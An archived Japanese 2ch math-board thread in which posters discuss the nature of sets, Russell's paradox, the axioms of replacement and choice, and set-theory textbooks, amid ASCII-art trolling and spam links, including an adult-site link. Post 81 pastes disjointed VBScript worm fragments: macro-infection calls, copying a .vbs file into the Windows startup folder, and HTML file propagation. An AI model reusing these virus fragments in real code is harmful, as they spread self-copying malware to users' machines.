集合の本質とは何か

前スレ
http://science.2ch.net/math/kako/1005/10054/1005480805.html

異なる事物をひとまとめにする。
このことがなぜに論争を引き起こすんでしょか。
よくわかりません。

2 ：１３２人目の素数さん：03/03/15 07:17

BINGO！！　ワタクシ　ぺリーが　2get　デース！
　　　　　　＿,,-―- ､__　　　　　　　　　　　　　　>>3　ねえ・・・
　　　　_,,/;;;;;;ヾヾ　､,;;;;;;;;''ヽ_　　　　　　　　　 >>4　開国してください
　　　ノ;_;,-―--''''ﾞﾞ￣　ﾌ::::;;:'-、　　　　　　　　 >>5　開国してくださいよー
　　／/　　　　　　　　　 l、::::::: l、　　　　　　　 >>6　このチョンマゲ！！
　(ヾ:::l　　　　　　　　 |::::::､::､::::.ヽ,　　　　　　 >>7　いーじゃない開国。
､ノ:::::.| ＿,,､　 ,､､＿_　 |:::::::::::ゝ::::::>　　　　　 >>8　あなた尊皇派？攘夷派？
ゝ:::::::|''=・-`l　ﾄ'=･=ｰ`　ヽ:::::::::::ゞ:::ゝ　　　　　　 >>9　シカトですか？
　ヽ.|　｀　　　　　ｰ　　　,ヽ::,-;:::;;::/　　　　　　　 >>10　そんなに黄色くないのネ日本人て
　　　|　　､_,､,｀　　　　 l/6l::::ノ　　　　　　 >>11　ペリーね、この間孫が生まれたの。
　　　|　　　 ! 　　　　,　, l_ ﾉ:／　　　　　　　>>12　「R」と「L」の発音の区別もできないくせに！
　　 __|　　 -'ー-ヽ　／／`) 　　　　　　　>>13　お茶もださないの？
　ヽ　 |　,　￣　　 __l_／,,-'=i＿＿＿＿＿＿　 >>14　寝ましょか？ここで？
＿_,,＼｀､_ ｰ-―' _//='''_-;;;;;;（( oo（（　　　　）） >>15　風呂桶がぬるぬるする～
;;;;;;;;;;○>＼￣￣//○'.;;;;;;;;;;;;;;;;;;;;;;;;;;;|l |l |l |l |l || >>16　外人ナメると後がコワイヨ～？

3 ：１３２人目の素数さん：03/03/15 07:34

集合を語るには時期尚早かと・・・

4 ：１３２人目の素数さん：03/03/23 02:33

もう、エムシラ先生でもいいから降臨してちょ

5 ：１３２人目の素数さん：03/03/27 00:39

ドラえもんのポケットみたいなもので、
ある数学的対象が、かくかくしかじかの性質を満たすかどうかさえ
判定できるのであれば、それをどういう方法によるのかをまったく伏せた
ブラックボックスとして、全部集めてきて（しかも可算ですらなくてよく）
ひとくくりにして、はい出来上がり、という信じられないような操作が
ワンステップでできるのが、集合を定義する「操作」です。
　こんなの、絵に描いた嘘に決まっているジャン。

A=｛x｜xは実部が1/2よりも大きいリーマンゼータ関数の零点｝
とすれば、A＝Φ　ならばリーマン予想は成立しない。逆に
AがΦでなければ、リーマン予想は成立する。

では、もうそれでリーマン予想は終わりじゃないかとは誰も思わないだろ。

6 ：１３２人目の素数さん：03/03/27 01:11

零点「全部」とか虚部が1/2でない零点「全部」を頭に思い浮かべたり、
他人との議論の話題にしたりはできるわけで。
それを体系の中で取り扱えないとなると不便なわけで。

7 ：6：03/03/27 01:13

んあ、虚実入り乱れ

8 ：１３２人目の素数さん：03/03/27 01:51

１．実数全体の集合が「存在」すると確信している人は、何故自分が
「確信」しているのか考えてみると、、、。

２．｛Ｘ｜集合ＸはＸの要素でない｝はどんなあつまりか。

9 ：１３２人目の素数さん：03/03/27 01:52

らっせるぅ！

10 ：１３２人目の素数さん：03/03/27 15:32

差別、区別を生み出してしまう
人類の本能。

11 ：１３２人目の素数さん：03/03/27 15:50

髪の毛が薄い人は一般にハゲと呼ばれるが、
彼(もしくは彼女)の髪の毛が１本増えたところで
ハゲであることには変わりはない。
今ここに髪の毛が１本しかない人がいるとする。
当然ながら、彼(もしくは彼女)はいわゆるハゲである。
すると、ここから全ての人がハゲであるという驚くべき事実が導き出せる。
これは数学的帰納法の簡単な応用例ではあるが、
実はここにこそ集合の本質がある。

結局、何が言いたいのかというと、エムシラはとんでもである、ということだ。

12 ：１３２人目の素数さん：03/03/27 17:17

集合の定義を教えてください。
私はフォン・ノイマン流しか知らないのですが。
他にあるのですか？？
これはクラスと∈を無定義で使い１８の公理で集合を定めるわけですが、
他のはどんななんでしょう？？

13 ：山崎渉：03/04/17 09:57

（＾＾）

14 ：山崎渉：03/04/20 04:13

　　 ∧＿∧
　　（　　＾＾）＜ぬるぽ（＾＾）

15 ：１３２人目の素数さん：03/05/13 05:20

16 ：_：03/05/13 05:22

17 ：１３２人目の素数さん：03/05/15 10:56

18 ：_：03/05/15 10:57

19 ：mathmania ◆uvIGneQQBs ：03/05/15 12:57

集合の本質とは、事物の二分だ。

20 ：１３２人目の素数さん：03/05/15 13:13

集合の全体は集合ではない

21 ：１３２人目の素数さん：03/05/15 13:31

>>19
ぷっ・・・

22 ：山崎渉：03/05/21 22:35

━―━―━―━―━―━―━―━―━[JR山崎駅（＾＾）]━―━―━―━―━―━―━―━―━―

23 ：山崎渉：03/05/21 23:32

━―━―━―━―━―━―━―━―━[JR山崎駅（＾＾）]━―━―━―━―━―━―━―━―━―

24 ：山崎渉：03/05/28 15:20

　　　　∧＿∧
ﾋﾟｭ.ｰ　(　　＾＾）＜これからも僕を応援して下さいね（＾＾）。
　　＝〔~∪￣￣〕
　　＝ ◎――◎ 　　　　　　　　　　　　　　　　　　　　　山崎渉

25 ：１３２人目の素数さん：03/06/14 07:47

26 ：ぼるじょあ ◆yBEncckFOU ：03/06/22 03:40

（・3・）
mathmaniaのいうことはあながち間違っているとは思えないNE！

集合の本質は内と外にわけることだYO！

27 ：１３２人目の素数さん：03/06/22 20:49

おまこん

28 ：１３２人目の素数さん：03/06/29 20:39

すいません、解いてください。お願いします。

有限集合Ａ１、Ａ２、Ａ３・・・Ａnに関して次の式が成り立つことを証明
n　　　　　　　　　　　　n
∑｜Ａi｜-(n-1)｜Ａ｜≦｜ｎＡi｜≦min｜Ａi｜
k=1　　　　　　　　　　　i=1

　　　　　　　　　　　　　↑のnはintersection（共通集合）です。

どなたかお願いします。

29 ：１３２人目の素数さん：03/06/29 20:41

>>28
どの n が inetrsection だって？

30 ：１３２人目の素数さん：03/06/29 20:46

｜∩[i=1～n]Ａi｜と書きたかったのか？

31 ：１３２人目の素数さん：03/06/29 20:47

「と書きたかった？」じゃなくて「のような事を書きたかったのか？」だな

32 ：１３２人目の素数さん：03/06/29 20:53

そうです。
すいません、どうか解いて下さい。

33 ：１３２人目の素数さん：03/06/29 21:08

集合Aって何？∪Ai？

34 ：１３２人目の素数さん：03/06/29 21:14

>>28
マルチやめれ。
しかも、ここで指摘された点も修正せずに。
http://science.2ch.net/test/read.cgi/math/1055156439/840

35 ：１３２人目の素数さん：03/06/30 02:38

集合の本質は、「森羅万象の“集まり”」から「真偽値 {true, false}」への関数、っていうのでどうよ？

36 ：１３２人目の素数さん：03/06/30 10:46

それだと「真偽値」って部分が具体的すぎだと思うが。
もう一歩抽象化して「真理値」ぐらいにはしてくれよ。
さらに言えば、「集合の本質から直接的に導きだせる
もっとも解り易い姿の一つが『森羅万象の…への関数』」
にしてくれ。
あんたの意見には、基本的に否定はしないが安直すぎ。

37 ：ζ関数：03/06/30 15:37

集合とは，ある条件を満たすものを
すべてとってくることのできる"道具"である．
しかし，その条件を満たすものが"存在するかどうか"は
"手動で"示さなければならない．
また，その"手動"で行う動作は(普通は)有限回でないといけない．
ゆえに，選択公理は証明できない．
逆に選択公理を仮定すると，選択公理という道具で，
手動では無限回行わなければならない動作も，一発で終了する．

38 ：supermathmania ◆ViEu89Okng ：03/06/30 15:47

置換公理
(∀x∀y∀z((f(x,y)かつf(x,z))⇒y=z)⇒(∀u∃v∀y(y\in v⇔(∃x\in u,f(x,y))))
の解釈を説明してください。(どこかのスレでスレ違いと云われた。)

39 ：１３２人目の素数さん：03/06/30 18:33

>>38
「(f(x,y)かつf(x,z))⇒y=z)」は f(x,y) という述語により、
x について y があるときは一意であることをいっている。つまり
f(x,y) がいわゆるクラス型の部分関数を定めているということ。

「(∀u∃v∀y(y\in v⇔(∃x\in u,f(x,y)))」はその部分関数に
ついての値域が集合 v となっていることを主張している。

(注意：通常数学のなかでとり扱われる関数は定義域が集合と
なっているので、この公理より弱い分離公理(部分集合公理とも
いう)ですむことが多い。)

40 ：39：03/06/30 18:38

その部分関数の u への制限関数の値域が集合 v となっていること
を主張している。
に訂正。まっ、わかるでしょうが。

41 ：supermathmania ◆ViEu89Okng ：03/06/30 18:43

Re:>39,Re:>40
どうもありがとうございます。
どこを調べてもまともな説明がなかったもので。

42 ：１３２人目の素数さん：03/07/01 10:37

> どこを調べてもまともな説明がなかったもので。
不用意にそういうこと言うから、変な具合いに突っ込みが入って、
挙げ足をとられまくった挙げ句に「士ね」とかいわれちゃうんだよ。

「まともでないのは、説明の方ではなくて、それぐらいも
理解できないお前の頭の方だろが！！！」
とかさ。

43 ：１３２人目の素数さん：03/07/04 12:36

カントールの三角級数および実数列に関係する問題の研究は、
彼に数の無限集合の大きさを比較する手段の必要を認識させました。

44 ：１３２人目の素数さん：03/07/21 11:01

45 ：１３２人目の素数さん：03/07/21 11:54

画像集！
http://www.sexpixbox.com/pleasant/dx/index.html

46 ：世直し一揆：03/07/24 11:17

＜「本当のやさしさ」と「見せ掛けのやさしさ」＞

「やさしさ」を勘違いするなよ。
「本当のやさしさ」というのは、相手の立場にたって相手を思いやることをいう。
「Ａ型流のやさしさ」は、臆病のあまり、自分がどう思われるかを繕うだけの「見せ掛けのやさしさ」に過ぎない。
Ａ型の人は勘違いしないように！
また周囲も騙されないように！

47 ：１３２人目の素数さん：03/07/24 11:21

世の中はそんなに難しくない。
食べられるものと食べられないものしか存在しない。

それが集合であり集合の極みなのである

48 ：１３２人目の素数さん：03/07/25 07:10

あつめても集合になるものとならないものがあるということですか？
集合にならないものの集まりは集合ではないのですか？
集合になるものの集合の補集合は集合ではないのですか？

49 ：１３２人目の素数さん：03/07/30 17:34

>>48
何を言っているのか判らない。
類（class）のことを聞いているのかい？

50 ：ぼるじょあ ◆yBEncckFOU ：03/08/02 03:27

　　　　∧＿∧　 ∧＿∧
ﾋﾟｭ.ｰ　（　・３・） (　　＾＾）＜これからも僕たちを応援して下さいね（＾＾）。
　　＝〔~∪￣￣￣∪￣￣〕
　　＝ ◎――――――◎ 　　　　　　　　　　　　　　　　　　　　　山崎渉&ぼるじょあ

51 ：１３２人目の素数さん：03/08/16 06:14

52 ：１３２人目の素数さん：03/08/16 06:18

53 ：あぼーん：あぼーん

あぼーん

54 ：>>２ちゃんねらーの皆さん：03/08/16 06:55

２ちゃんねらーなどの間で、人気のある御尊像が有ります。
これらの御尊像を手に入れて、金運向上等を祈願しましょう。(爆)
http://www.butsuzou.com/jiten/sanmen.html
http://www.butsuzou.com/list1/sanmen2.html
http://www.butsuzou.com/list1/sanmen3.html
http://www.butsuzou.com/keitai/sanmen-kz.html

55 ：１３２人目の素数さん：03/09/29 05:19

56 ：１３２人目の素数さん：03/10/29 05:37

57 ：１３２人目の素数さん：03/11/11 07:28

58 ：１３２人目の素数さん：03/12/03 17:32

59 ：１３２人目の素数さん：03/12/03 18:27

60 ：１３２人目の素数さん：03/12/12 17:49

ﾋﾞﾝﾋﾞﾝﾏｯﾁｮﾃﾞ(ﾟдﾟ)ｵｰｴｰｵｰｴｰ

61 ：１３２人目の素数さん：03/12/16 13:21

集合論を本格的に勉強するにはやっぱりこの本ですか？
Set Theory　　by Thomas J. Jech
http://www.amazon.com/exec/obidos/ASIN/3540440852/

62 ：１３２人目の素数さん：03/12/17 23:09

>>61
ええ。一通り書いてありますから、永く楽しめますよ。

63 ：１３２人目の素数さん：04/01/05 06:48

64 ：１３２人目の素数さん：04/01/12 20:49

なにかください

65 ：１３２人目の素数さん：04/01/12 20:56

集合自身を要素として扱わなければ、矛盾はない。

66 ：１３２人目の素数さん：04/01/12 20:58

実数を数の集合であるとした時点で、非加算無限が論理を犯していく。

67 ：１３２人目の素数さん：04/01/12 20:59

＞非加算無限
意味がわかりません。

68 ：１３２人目の素数さん：04/01/12 20:59

非加算ってなにを足さないって言ってんの？

69 ：１３２人目の素数さん：04/01/12 21:02

>>68
カネを貸してくれなんていうから、そういう話しになるんだろうが。

70 ：supermathmania ◆ViEu89Okng ：04/01/17 13:18

Re:>65 ZFの正則性公理を参照。

71 ：１３２人目の素数さん：04/01/31 05:34

547

72 ：１３２人目の素数さん：04/02/05 10:42

>>1
集合の本質なんて考えれば考えるほど分らなくなる。カントルも
最初は1と同じ程度の認識しかなかった。今の集合論専門の学者は
みんな集合の本質なんて考えないようにしてるし、公理的集合論に
対する一般の数学者の不信も根源的にはここから来ていると思う。
しかも面白いのは、哲学者は哲学者で、集合の本質は数学者が
明らかにしてくれた、位に思っているところ。
Russellの型理論でやれば多分なにも問題はないんだけどね。
もう廃れちゃってるし……

>>61
たぶんK.Kunenの方が読みやすいかと。竹内外史のブルーバックス
も結構良いよ。

73 ：１３２人目の素数さん：04/02/11 12:42

実数全体を集合と扱うことに物凄く違和感を感じた。

74 ：１３２人目の素数さん：04/02/11 13:50

>今の集合論専門の学者は
>みんな集合の本質なんて考えないようにしてるし、公理的集合論に
>対する一般の数学者の不信も根源的にはここから来ていると思う。

不信感をもっていても別にいいんじゃないかな。
どっちにしても、数学のやり方に言語学や言語哲学が従う流れは止められない。
概念に対する素朴な実在を問うようなやり方は今時学問とは呼ばない。

>哲学者は哲学者で、集合の本質は数学者が
>明らかにしてくれた、位に思っているところ。

哲学でもイデアや唯名論とかいうテーマでずっと昔からやってたわけだけど
結局議論のフレームが定まらないから一向に結論が出ない。
であるならば、その方面の流れは一方で認めつつ、数学から出てきた
成果をそのまま引き継ぐのもありだろうっていうことなんじゃないかな。

75 ：１３２人目の素数さん：04/02/28 00:59

>>Russellの型理論でやれば

タイプの理論じゃ解析学は展開できないみたいだね。
こりゃ駄目だ

76 ：１３２人目の素数さん：04/03/03 17:27

解析は解析で都合のいいように集合の基礎付けをすればいいんじゃないの？

77 ：１３２人目の素数さん：04/03/07 13:23

795

78 ：61.10.112.219.ap.yournet.ne.jp：04/03/27 22:22

79 ：sage test 2：04/03/28 15:58

集合の本質とは何かと問われても結局良く分からないが、
公理的集合論においては、少なくとも集合(sets)の数学的な意味は明らかである。
(いや、明らかであるというのは少し語弊があるか？
公理系をZにするか、ZFにするか、ZFCにするかを明示すれば問題はなかろう。)
しかし、集合論の創始者と云われるゲオルグカントルは、
初めから公理的集合論を考えていたわけではない。
少なくとも、集合の本質は、ZFC公理系の中には無いということが示されているのではなかろうか？
どちらにせよ、集合の本質とは何か、と訊かれても私は困る。

80 ：１３２人目の素数さん：04/03/31 13:41

http://chiba.cool.ne.jp/daioujyou/garu2do.wmv

81 ：１３２人目の素数さん：04/04/01 02:13

GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
VBSInternal
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
VBS Freelink.B
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)

82 ：１３２人目の素数さん：04/04/02 09:47

ほしゅったらageろ！

83 ：KingMathematician ◆5lHaaEvFNc ：04/04/02 13:48

またスクリプトか。

84 ：１３２人目の素数さん：04/04/02 13:54

マスマニアスクリプトに比べたらマシですだ。

85 ：１３２人目の素数さん：04/04/25 18:32

633

86 ：１３２人目の素数さん：04/05/05 08:31

685